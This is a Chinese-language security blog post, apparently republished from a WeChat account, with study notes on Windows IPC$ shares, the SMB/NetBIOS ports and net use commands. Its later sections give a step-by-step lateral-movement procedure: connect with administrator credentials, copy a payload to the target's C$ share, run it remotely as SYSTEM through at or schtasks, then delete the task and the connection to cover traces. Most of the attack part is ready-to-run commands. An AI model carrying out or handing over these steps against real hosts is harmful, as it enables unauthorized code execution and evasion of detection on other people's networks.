前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >IPC$学习笔记

IPC$学习笔记

作者头像
黑白天安全
发布2020-04-14 15:05:15
3.7K0
发布2020-04-14 15:05:15
举报

IPC

IPC(Internet Process Connection) 共享"命名管道"的资源,是为了实现进程间通信而开发的命名管道。IPC可以通过验证用户名和密码获取相应权限。通过IPC、D、E……)和系统目录共享(Admin)。

IPC$使用条件

  • 开放了139、445端口;IPC$可以实现远程登陆,以及对默认共享资源的访问。开放139端口表示NetBIOS已经应用。通过139、445端口可以对共享文件和打印机的访问。
  • 目标开启文件共享;默认共享是开启了的,爆库所有逻辑盘(C、D、E)和系统目录winnt或者windows(admin)。
  • 获取用户账号密码。获得账号密码之后可以利用IPC$进行访问

137、138、139、445端口

  • 137端口主要用于“NetBIOS Name Service” NetBIOS名称服务
    • 137端口主要用于“NetBIOS Name Service”(NetBIOS名称服务),属于UDP端口,使用者只需要向局域网或互联网上的某台计算机的137端口发送一个请求,就可以获取该计算 机的名称、注册用户名,以及是否安装主域控制器、IIS是否正在运行等信息。此外非法入侵者还能知道目标主机是否是作为文件服务器或主域控制器来使用。
  • 138端口提供NetBIOS的浏览功能。
    • 在局域网中相互传输文件信息时,就会发生作用。而138端口的主要作用就是提供NetBIOS环境下的计算机名浏览功能。非法入侵者要是与目标主机的138端口建立连接请求的话,就能轻松获得目标主机所处的局域网网络名称以及目标主机的计算机名称。
  • 139端口是为“NetBIOS Session Service”提供的。
    • 主要用于提供Windows文件和打印机共享以及Unix中的Samba服务。该端口在你通过网上邻居访问局域网中的共享文件或共享打印机时就能发挥作用。139端口一旦被Internet上的某个攻击者利用的话,就能成为一个危害极大的安全漏洞。因为黑客要是与目标主机的139端口建立连接的话,就很有可能浏览到指定网段内所有工作站中的全部共享信息,甚至可以对目标主机中的共享文件夹进行各种编辑、删除操作,倘若攻击者还知道目标主机的IP地址和登录帐号的话,还能轻而易举地查看到目标主机中的隐藏共享信息。
  • 445端口也是一种TCP端口,该端口在Windows 2000 Server或Windows Server 2003系统中发挥的作用与139端口是完全相同的。
    • 445也是提供局域网中文件或打印机共享服务。不过该端口是基于CIFS协议(通用因特网文件系统协议)工作的,而139端口是基于SMB协议(服务器协议族)对外提供共享服务。同样地,攻击者与445端口建立请求连接,也能获得指定局域网内的各种共享信息。要关闭文件共享可以同时关闭139和445端口。

IPC$查看共享命令

net use                               #查看本机建立的连接(本机连接其他机器)
net session                           #查看本机建立的连接(其他机器连接的本机),需要administrator用户执行
net share                             #查看本地开启的共享
net share ipc$                        #开启ipc$共享
net share ipc$ /del                   #删除ipc$共享
net share admin$ /del                 #删除admin$共享
net share c$ /del                     #删除C盘共享
net share d$ /del                     #删除D盘共享
net use * /del                        #删除所有连接

输入 net share 可以查看开启的共享。

IPC$连接

net use \\10.10.10.80                   #与10.10.10.80建立ipc空连接
net use \\10.10.10.80\ipc$              #与10.10.10.80建立ipc空连接
net use \\10.10.10.80\ipc$ /u:"" ""     #与10.10.10.80建立ipc空连接
 
net view \\10.10.10.80                  #查看远程主机开启的默认共享
 
net use \\10.10.10.80/u:"administrator" "123456"   #以administrator身份与10.10.10.80建立ipc连接
net use \\10.10.10.80/del              #删除建立的ipc连接
 
net time \\10.10.10.80                  #查看该主机上的时间
 
net use \\10.10.10.80\c$  /u:"administrator" "123456"  #建立C盘共享
dir \\10.10.10.80\c$                  #查看10.10.10.80盘文件
dir \\10.10.10.80\c$\user             #查看10.10.10.80盘文件下的user目录
dir \\10.10.10.80\c$\user\test.exe    #查看10.10.10.80盘文件下的user目录下的test.exe文件
net use \\10.10.10.80\c$  /del        #删除该C盘共享连接
 
net use k: \\10.10.10.80\c$  /u:"administrator" "123456"  #将目标C盘映射到本地K盘
net use k: /del                                           #删除该映射

使用密码连接IPC$共享

建立IPC$非空连接

net use \\10.10.10.80  /u:"administrator"  "密码"

IPC空连接 在Windows NT中,是使用 NTLM挑战响应机制认证。空会话是在没有信任的情况下与服务器建立的空连接,对方开启IPC$共享,并且你不用提供用户名和密码就可以连接上对方服务器!建立了一个空的连接后,黑客可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果黑客能够以某一个具有一定权限的用户身份登陆的话,那么就会得到相应的权限。

建立IPC$空连接命令

建立IPC空连接
net use \\10.10.10.201
或 net use \\10.10.10.201   /u:""  ""
或 net use \\10.10.10.201\ipc$  /u:""  ""

值得注意的是在Windows2003以后,空连接什么权限都没有,也就是说并没有太大实质的用处。有些主机的 Administrator 管理员的密码为空,那么我们可以尝试使用IPC空连接,但是大多数情况下服务器都阻止了使用空密码进行连接。或者进入之后权限很低,命令都没有权限执行

建立连接之后的操作

使用管理员组内用户(administrator或其他管理员组内用户均可)建立IPC$连接,可以执行以下所有命令。

dir命令

在和对方建立IPC$连接之后,可以使用dir命令列车对方主机的文件。

也可也在文件管理中使用命令查看对方的文件目录,还可以进行进一步的操作

tasklist命令

在建立连接的情况下,可以使用tasklist命令查看对方的进程

tasklist /S 10.10.10.201 /U administrator -P 密码

IPC$连接失败的原因及常见错误号

连接失败原因

  • 用户名或密码错误
  • 目标主机没有开启IPC$共享
  • 不能成功连接目标主机的139、445端口
  • 命令输入错误

常见错误号

  • 错误号5:拒绝访问
  • 错误号51:Windows无法找到网络路径,及网络中存在问题
  • 错误号53:找不到网络路径,包括IP地址错误、目标未开机、目标的lanmanserver服务未启动,目标防火墙过滤了端口
  • 错误号67:找不到网络名,包括 lanmanworkstation 服务未启动,IPC$已被删除
  • 错误号1219:提供的凭据与已存在的凭据集冲突。例如已经和目标建立了IPC$连接,需要在删除后重新连接
  • 错误号1326:未知的用户名或错误的密码
  • 错误号1792:试图登录,但是网络登录服务没有启动,包括目标NetLogon服务未启动(连接域控制器时会出现此情况)
  • 错误号2242:此用户的密码已经过期。

使用IPC$连接之后的计划任务操作

计划任务用到的命令就是 at 和 schtasks这两个命令,值得注意的是at命令是windows自带的创建计划任务的命令,它在Windows Vista、Windows Server 2008及之后的操作系统以及不使用at命令了,转为使用schtasks命令!

at命令使用

在使用at命令大致的流程如下:

  • 使用net time名字确定目标主机当前系统的时间
  • 使用copy命令将payload文件复制过去
  • 使用at命令计划时间启动payload文件
  • 删除at命令创建计划任务记录

在操作之前都已经建立了连接,然后使用net time查看对方系统当前时间

net time \\10.10.10.80

接着将文件复制到目标系统中

copy  artifact.exe  \\10.10.10.80\c$

使用at创建计划任务

at \\10.10.10.80 15:49:50 C:\artifact.exe

清除at记录 计划任务不会因为任务执行完成了就会随之删除。可以自己删除自己创建的计划任务

at \\10.10.10.80 2 /delete

at命令还可以执行命令,然后把结果写入文本文档中,然后使用type命令远程读取文本文档

schtasks命令使用

schtasks命令比at命令更灵活。而且在Windows Vista、Windows Server 2008及之后版本的操作系统已经弃用at命令。 创建一个名称为"test"的计划任务,启动权限为system

schtasks /create /s 10.10.10.80 /tn test /sc onstart /tr c:\artifact.exe /ru system /f

在远程主机运行“test”任务

schtasks /run /s 10.10.10.80 /i /tn "test"

这样的话payload就在目标主机运行了

执行完成之后就删除计划任务

schtasks /delete /s 10.10.10.80 /tn "test" /f

接着删除IPC$

net use  \\10.10.10.80 /del /y

在使用schtasks命令的时候会在系统留下日志文件C:WindowsTasksSchedLgU.txt。

在未建立IPC$连接的时候

schtasks /create /tn "test" /tr C:\Program Files\Windows NT\base.bat /sc once /st 4:50 /S 10.10.10.80 /RU System  /u administrator /p "1qaz@WSX"
schtasks /run /tn "test" /S 10.10.10.80  /u administrator /p "1qaz@WSX" /i  #立即执行
schtasks /F /delete /tn "test" /S 10.10.10.87 /u administrator /p "1qaz@WSX"

这个时候是没有建立连接,并且是有时间计划的任务,等待一会之后payload就会运行

参数的意思:

  • /create表示创建计划任务
  • /tn 表示任务名
  • /tr指定运行的文件
  • /sc 是任务运行频率
  • /st 是执行时间
  • /s 指定远程机器名或 ip 地址
  • /ru 指定运行任务的用户权限,这里指定为最高的 SYSTEM
  • /i 表示立即运行
  • /F 表示如果指定的任务已经存在,则强制创建任务并抑制警告
  • /delete是删除任务。
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-04-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • IPC
  • IPC$使用条件
  • 137、138、139、445端口
  • IPC$查看共享命令
  • IPC$连接
    • 使用密码连接IPC$共享
    • 建立连接之后的操作
      • dir命令
        • tasklist命令
        • IPC$连接失败的原因及常见错误号
        • 使用IPC$连接之后的计划任务操作
          • at命令使用
            • schtasks命令使用
              • 在未建立IPC$连接的时候
              领券
              问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档